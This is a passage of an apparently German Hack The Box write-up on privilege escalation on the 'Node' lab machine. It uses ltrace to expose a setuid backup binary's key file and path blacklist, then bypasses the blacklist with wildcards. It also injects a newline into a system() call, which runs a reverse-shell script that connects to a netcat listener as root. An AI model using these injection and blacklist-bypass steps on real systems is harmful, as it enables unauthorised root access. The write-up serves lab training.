</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/e&#34;</span>, <span style="color:#e6db74">&#34;tc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc&#34;</span>, <span style="color:#e6db74">&#34;/m&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/m&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/m&#34;</span>, <span style="color:#e6db74">&#34;yp&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myp&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myp&#34;</span>, <span style="color:#e6db74">&#34;la&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/mypla&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/mypla&#34;</span>, <span style="color:#e6db74">&#34;ce&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace&#34;</span>, <span style="color:#e6db74">&#34;/k&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>, <span style="color:#e6db74">&#34;ey&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>
</span></span><span style="display:flex;"><span>fopen<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0x8ef1160
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f&#34;</span>..., 1000, 0x8ef1160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2aef
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f&#34;</span>..., <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f&#34;</span>...<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e&#34;</span>..., 1000, 0x8ef1160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2aef
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e&#34;</span>..., <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e&#34;</span>...<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd25&#34;</span>..., 1000, 0x8ef1160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2aef
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd25&#34;</span>..., <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd25&#34;</span>...<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, 1000, 0x8ef1160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2aef
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;&#34;</span>, 1000, 0x8ef1160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt;
</span></span><span style="display:flex;"><span>+++ exited <span style="color:#f92672">(</span>status 1<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>Das zweite Argument wird mit 3 verschiedenen Strings verglichen. Benutzen wir das Argument <strong>-s 100</strong> für <strong>ltrace</strong> um die Länge der anzuzeigenden Strings zu erhöhen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ltrace -s <span style="color:#ae81ff">100</span> ./backup -q arg2 arg3
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 4, 0xffe7ff14, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;-q&#34;</span>, <span style="color:#e6db74">&#34;-q&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strncpy<span style="color:#f92672">(</span>0xffe7fdd8, <span style="color:#e6db74">&#34;arg2&#34;</span>, 100<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7fdd8
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffe7fdc1, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7fdc1
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffe7fdcd, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7fdcd
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffe7fd57, <span style="color:#e6db74">&#34;/e&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7fd57
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/e&#34;</span>, <span style="color:#e6db74">&#34;tc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc&#34;</span>, <span style="color:#e6db74">&#34;/m&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/m&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/m&#34;</span>, <span style="color:#e6db74">&#34;yp&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myp&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myp&#34;</span>, <span style="color:#e6db74">&#34;la&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/mypla&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/mypla&#34;</span>, <span style="color:#e6db74">&#34;ce&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace&#34;</span>, <span style="color:#e6db74">&#34;/k&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>, <span style="color:#e6db74">&#34;ey&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>
</span></span><span style="display:flex;"><span>fopen<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0x8820160
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n&#34;</span>, 1000, 0x8820160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7f96f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n&#34;</span>, 1000, 0x8820160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7f96f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n&#34;</span>, 1000, 0x8820160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7f96f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> -1
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, 1000, 0x8820160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffe7f96f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg2&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;&#34;</span>, 1000, 0x8820160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt;
</span></span><span style="display:flex;"><span>+++ exited <span style="color:#f92672">(</span>status 1<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>Das 2. Argument wird also mit den Strings aus <strong>/etc/myplace/keys</strong> verglichen.</p>
<p>Benutzen wir nun einen der 3 Strings aus <strong>/etc/myplace/keys</strong> als 2. Argument.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ltrace -s <span style="color:#ae81ff">100</span> ./backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 arg3
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 4, 0xffb1c9e4, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;-q&#34;</span>, <span style="color:#e6db74">&#34;-q&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strncpy<span style="color:#f92672">(</span>0xffb1c8a8, <span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span>, 100<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c8a8
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb1c891, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c891
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb1c89d, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c89d
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb1c827, <span style="color:#e6db74">&#34;/e&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c827
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/e&#34;</span>, <span style="color:#e6db74">&#34;tc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc&#34;</span>, <span style="color:#e6db74">&#34;/m&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/m&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/m&#34;</span>, <span style="color:#e6db74">&#34;yp&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myp&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myp&#34;</span>, <span style="color:#e6db74">&#34;la&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/mypla&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/mypla&#34;</span>, <span style="color:#e6db74">&#34;ce&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace&#34;</span>, <span style="color:#e6db74">&#34;/k&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>, <span style="color:#e6db74">&#34;ey&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>
</span></span><span style="display:flex;"><span>fopen<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0x9881160
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n&#34;</span>, 1000, 0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c43f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span>, <span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n&#34;</span>, 1000, 0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c43f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span>, <span style="color:#e6db74">&#34;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n&#34;</span>, 1000, 0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c43f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span>, <span style="color:#e6db74">&#34;3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, 1000, 0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb1c43f
</span></span><span style="display:flex;"><span>strcspn<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;\n&#34;</span>, <span style="color:#e6db74">&#34;\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>fgets<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;&#34;</span>, 1000, 0x9881160<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;..&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil
</span></span><span style="display:flex;"><span>strstr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#34;/root&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil
</span></span><span style="display:flex;"><span>strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#39;;&#39;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil
</span></span><span style="display:flex;"><span>strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#39;&amp;&#39;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil
</span></span><span style="display:flex;"><span>strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#e6db74">&#39;`&#39;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> nil
</span></span><span style="display:flex;"><span>strchr<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg3&#34;</span>, <span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span></code></pre></div><p>Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl <strong>system()</strong> benutzt. Außerdem wird das 3. Argument mit <strong>.. /root ; &amp; ` $ | //</strong> und <strong>/etc</strong> verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.</p>
<p>Jetzt gibt es verschiedene Methoden wie wir vorgehen können.</p>
<h2 id="1-wildcards">1. Wildcards</h2>
<p>Das ist die einfachste Methode. Wir wollen an den Inhalt von <strong>/root/root.txt</strong>, aber <strong>/root</strong> ist auf der Blacklist. Um diese zu entgehen können wir <a href="https://wiki.ubuntuusers.de/Bash/#Wildcards">Wildcards</a> benutzen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r??t/r??t.txt
</span></span></code></pre></div><p>oder</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r*t/r*t.txt
</span></span></code></pre></div><h2 id="2-newline">2. Newline</h2>
<p>Zuerst ändern wir den Port bei unserem Reverse Shell Skript <strong>/tmp/reverse.js</strong>. Dann lassen wir NetCat diesen Port abhören.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>nc -lnvp <span style="color:#ae81ff">4445</span>
</span></span></code></pre></div><p>Jetzt können wir als 3. Argument <strong>\n</strong> benutzen, damit <strong>system()</strong> einen weiteren Befehl ausführt. Z.B. unser Skript.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>nc -lnvp <span style="color:#ae81ff">4445</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">4445</span> ...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>10.10.14.52<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.10.58<span style="color:#f92672">]</span> <span style="color:#ae81ff">55838</span>
</span></span><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>root
</span></span><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@node:/usr/local/bin# cat /root/root.txt
</span></span><span style="display:flex;"><span>172#########ZENSIERT#########be0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@node:/usr/local/bin# cat /home/tom/user.txt
</span></span><span style="display:flex;"><span>e11#########ZENSIERT#########1b1
</span></span></code></pre></div><h2 id="3-buffer-overflow">3. Buffer Overflow</h2>
